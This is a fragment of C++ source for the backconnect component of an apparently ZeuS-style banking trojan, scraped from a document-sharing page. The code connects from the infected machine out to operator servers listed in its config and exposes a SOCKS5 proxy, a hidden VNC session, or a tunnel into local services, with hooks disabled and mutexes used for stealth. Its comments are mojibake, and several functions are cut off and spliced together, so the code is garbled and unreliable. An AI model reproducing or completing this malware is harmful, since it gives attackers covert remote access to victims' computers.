Professional Documents
Culture Documents
h>
#include <wininet.h>
#include <ws2tcpip.h>
#include "defines.h"
#include "core.h"
#include "corehook.h"
#include "localconfig.h"
#include "backconnectbot.h"
#include "vnc\vncserver.h"
#include "socks5server.h"
#include "..\common\mem.h"
#include "..\common\str.h"
#include "..\common\debug.h"
#include "..\common\wsocket.h"
#include "..\common\backconnect.h"
#include "..\common\sync.h"
#include "..\common\process.h"
#if(BO_BCSERVER_PLATFORMS > 0)
/*
��������, ������ ������ �������� ��������.
IN list - ������.
IN listSize - ������ ������.
//������ ���������.
typedef struct
{
LPSTR servicePort;
LPSTR server;
LPSTR serverPort;
HANDLE mutex;
}BCDATA;
typedef struct
{
BCDATA *bcData;
DWORD servicePort;
DWORD id;
}BCTUNNELDATA;
/*
����� �� �� ������� �����.
IN p - BCTUNNELDATA.
Return - 0.
*/
static DWORD WINAPI procTunnel(void *p)
{
CoreHook::disableFileHookerForCurrentThread(true);
WDEBUG0(WDDT_INFO, "Started.");
//���������� � �������.
bool ok = false;
if(bcTunnelData->servicePort == SERVICE_PORT_SOCKS)
{
ok = true;
}
# if(BO_VNC > 0)
else if(bcTunnelData->servicePort == SERVICE_PORT_VNC)
{
ok = true;
}
# endif
else
{
SOCKADDR_IN addr;
addr.sin_family = AF_INET;
addr.sin_port = SWAP_WORD(bcTunnelData->servicePort);
addr.sin_addr.S_un.S_addr = 0x0100007F; //localhost
//���������� � �������.
if(ok == true && (client = WSocket::tcpConnectA(bcTunnelData->bcData->server,
(WORD)Str::_ToInt32A(bcTunnelData->bcData->serverPort, NULL))) != INVALID_SOCKET)
{
WSocket::tcpDisableDelay(client, true);
WSocket::tcpSetKeepAlive(client, true, Backconnect::KEEPALIVE_DELAY,
Backconnect::KEEPALIVE_INTERVAL);
if(Backconnect::_writeCommand(client, Backconnect::COMMAND_IS_SERVICE,
(LPBYTE)&bcTunnelData->id, sizeof(DWORD)))switch(bcTunnelData->servicePort)
{
case SERVICE_PORT_SOCKS:
Socks5Server::_start(client, 0);
break;
# if(BO_VNC > 0)
case SERVICE_PORT_VNC:
VncServer::start(client);
break;
# endif
default:
WSocket::tcpTunnel(client, service);
break;
}
}
//������������ ��������.
WSocket::tcpClose(client);
WSocket::tcpClose(service);
Mem::free(bcTunnelData);
WDEBUG0(WDDT_INFO, "Stopped.");
return 0;
}
/*
����� �� �� ������� ���������.
IN p - BCDATA.
Return - 0.
*/
static DWORD WINAPI procConnection(void *p)
{
CoreHook::disableFileHookerForCurrentThread(true);
ThreadsGroup::GROUP group;
BCDATA *bcData = (BCDATA *)p;
ThreadsGroup::_createGroup(&group);
WDEBUG0(WDDT_INFO, "Started.");
//�������� BotID.
bool ok;
{
PESETTINGS pes;
Str::UTF8STRING u8CompId;
Core::getPeSettings(&pes);
//����������� �������.
ThreadsGroup::_waitForAllExit(&group, INFINITE);
ThreadsGroup::_closeGroup(&group);
Mem::free(bcData->servicePort);
Mem::free(bcData->server);
Mem::free(bcData->serverPort);
Sync::_freeMutex(bcData->mutex);
Mem::free(bcData);
WDEBUG0(WDDT_INFO, "Stopped.");
return 0;
}
/*
����� �� �� ������� ������� ����������.
Return - 0.
*/
static DWORD WINAPI proc(void *)
{
CoreHook::disableFileHookerForCurrentThread(true);
HANDLE mutex = Core::waitForMutexOfObject(Core::OBJECT_ID_BACKCONNECT_CONTROL,
MalwareTools::KON_GLOBAL);
if(mutex == NULL)
{
WDEBUG0(WDDT_ERROR, "Failed");
return 1;
}
WDEBUG0(WDDT_INFO, "Started.");
#if(BO_DEBUG > 0)
if(Core::isActive())while(CWA(kernel32, WaitForSingleObject)
(coreData.globalHandles.stopEvent, 1000) == WAIT_TIMEOUT)
#else
if(Core::isActive())while(CWA(kernel32, WaitForSingleObject)
(coreData.globalHandles.stopEvent, 60 * 1000) == WAIT_TIMEOUT)
#endif
{
BinStorage::STORAGE *config = LocalConfig::getCurrent();
if(config != NULL)
{
DWORD itemListSize;
LPSTR itemList = (LPSTR)BinStorage::_getItemDataEx(config,
LocalConfig::ITEM_BACKCONNECT_LIST, BinStorage::ITEMF_IS_SETTING, &itemListSize);
//���������� �����.
HANDLE bcMutex = NULL;
{
DWORD nameParts[3];
nameParts[0] = Crypt::crc32Hash(curServicePort,
Str::_LengthA(curServicePort));
nameParts[1] = Crypt::crc32Hash(curServer, Str::_LengthA(curServer));
nameParts[2] = Crypt::crc32Hash(curServerPort,
Str::_LengthA(curServerPort));
Mem::free(bcData->servicePort);
Mem::free(bcData->server);
Mem::free(bcData->serverPort);
Mem::free(bcData);
}
Sync::_freeMutex(bcMutex);
}
}
while((curItem = Str::_multiStringGetIndexA(curItem, 3)) != NULL);
}
Mem::free(itemList);
Mem::free(config);
}
}
WDEBUG0(WDDT_INFO, "Stopped.");
Sync::_freeMutex(mutex);
return 0;
}
///////////////////////////////////////////////////////////////////////////////////
/////////////////
void BackconnectBot::init(void)
{
void BackconnectBot::uninit(void)
{
//���������� �������.
{
BYTE servicePortLen = (BYTE)Str::_LengthA(servicePort);
BYTE serverLen = (BYTE)Str::_LengthA(server);
BYTE serverPortLen = (BYTE)Str::_LengthA(serverPort);
char *offset = newItem;
//��������� �����������.
BinStorage::STORAGE *config = LocalConfig::beginReadWrite();
if(config == NULL)return false;
//����������.
if(Mem::_compare(curItem, newItem, newItemSize) == 0)
{
WDEBUG0(WDDT_INFO, "Item already exists.");
ok = false;
break;
}
}
while((curItem = Str::_multiStringGetIndexA(curItem, 3)) != NULL);
if(ok == false)
{
Mem::free(config);
config = NULL;
}
return LocalConfig::endReadWrite(config);
}
//��������� ���.
if(itemList == NULL)
{
Mem::free(config);
return LocalConfig::endReadWrite(NULL);
}
do
{
LPSTR curServicePort = curItem;
LPSTR curServer = Str::_multiStringGetIndexA(curItem, 1);
LPSTR curServerPort = Str::_multiStringGetIndexA(curItem, 2);
len = Str::_LengthA(curServer);
Str::_CopyA(offset, curServer, len);
offset += len + 1;
len = Str::_LengthA(curServerPort);
Str::_CopyA(offset, curServerPort, len);
offset += len + 1;
if(changed == true)
{
if(offset == newItemList)offset--; //����� ������
BinStorage::ITEMF_COMBINE_DELETE.
changed = BinStorage::_modifyItemById(&config,
LocalConfig::ITEM_BACKCONNECT_LIST, BinStorage::ITEMF_IS_SETTING |
BinStorage::ITEMF_COMBINE_OVERWRITE, newItemList, offset - newItemList + 1);
}
Mem::free(newItemList);
}
}
Mem::free(itemList);
if(changed == false)
{
Mem::free(config);
config = NULL;
}
return LocalConfig::endReadWrite(config);
}